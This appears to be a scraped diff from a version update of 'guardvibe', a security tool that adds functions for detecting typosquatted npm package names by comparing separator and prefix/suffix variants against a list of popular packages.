+
}
|
|
117
|
+
return null;
|
|
118
|
+
}
|
|
119
|
+
/**
|
|
120
|
+
* Detects separator manipulation attacks.
|
|
121
|
+
* e.g., "crypto_js" → "crypto-js", "crypto.js" → "crypto-js"
|
|
122
|
+
*/
|
|
123
|
+
function detectSeparatorSquat(name) {
|
|
124
|
+
const lower = name.toLowerCase();
|
|
125
|
+
// Replace underscores and dots with hyphens, then check
|
|
126
|
+
const normalized = lower.replace(/[_.]/g, "-");
|
|
127
|
+
if (normalized !== lower && POPULAR_PACKAGES.includes(normalized)) {
|
|
128
|
+
return { similarTo: normalized, confidence: 0.9 };
|
|
129
|
+
}
|
|
130
|
+
// Reverse: replace hyphens with underscores/dots
|
|
131
|
+
const withUnderscore = lower.replace(/-/g, "_");
|
|
132
|
+
if (withUnderscore !== lower && POPULAR_PACKAGES.includes(withUnderscore)) {
|
|
133
|
+
return { similarTo: withUnderscore, confidence: 0.9 };
|
|
134
|
+
}
|
|
135
|
+
return null;
|
|
136
|
+
}
|
|
75
137
|
export function detectTyposquat(name) {
|
|
76
138
|
const lower = name.toLowerCase();
|
|
77
139
|
// Exact match = not a typosquat
|
|
78
140
|
if (POPULAR_PACKAGES.includes(lower))
|
|
79
141
|
return null;
|
|
142
|
+
// 1. Check prefix/suffix squatting (highest priority — Axios attack pattern)
|
|
143
|
+
const prefixSuffix = detectPrefixSuffixSquat(lower);
|
|
144
|
+
if (prefixSuffix)
|
|
145
|
+
return prefixSuffix;
|
|
146
|
+
// 2. Check separator manipulation
|
|
147
|
+
const separator = detectSeparatorSquat(lower);
|
|
148
|
+
if (separator)
|
|
149
|
+
return separator;
|
|
150
|
+
// 3. Classic Levenshtein distance check
|
|
80
151
|
// Strip scope for comparison
|
|
81
152
|
const bareName = lower.startsWith("@") ? lower.split("/").pop() ?? lower : lower;
|
|
82
153
|
let bestMatch = null;
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "guardvibe",
|
|
3
|
-
"version": "2.
|
|
4
|
-
"description": "Security MCP for vibe coding.
|
|
3
|
+
"version": "2.4.1",
|
|
4
|
+
"description": "Security MCP for vibe coding. 313 rules, 25 tools for Next.js, Supabase, Clerk, Stripe, Prisma, tRPC, Hono, GraphQL, Convex, Turso, Uploadthing, AI SDK, and the full AI-generated stack.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
7
7
|
"guardvibe": "build/cli.js",
|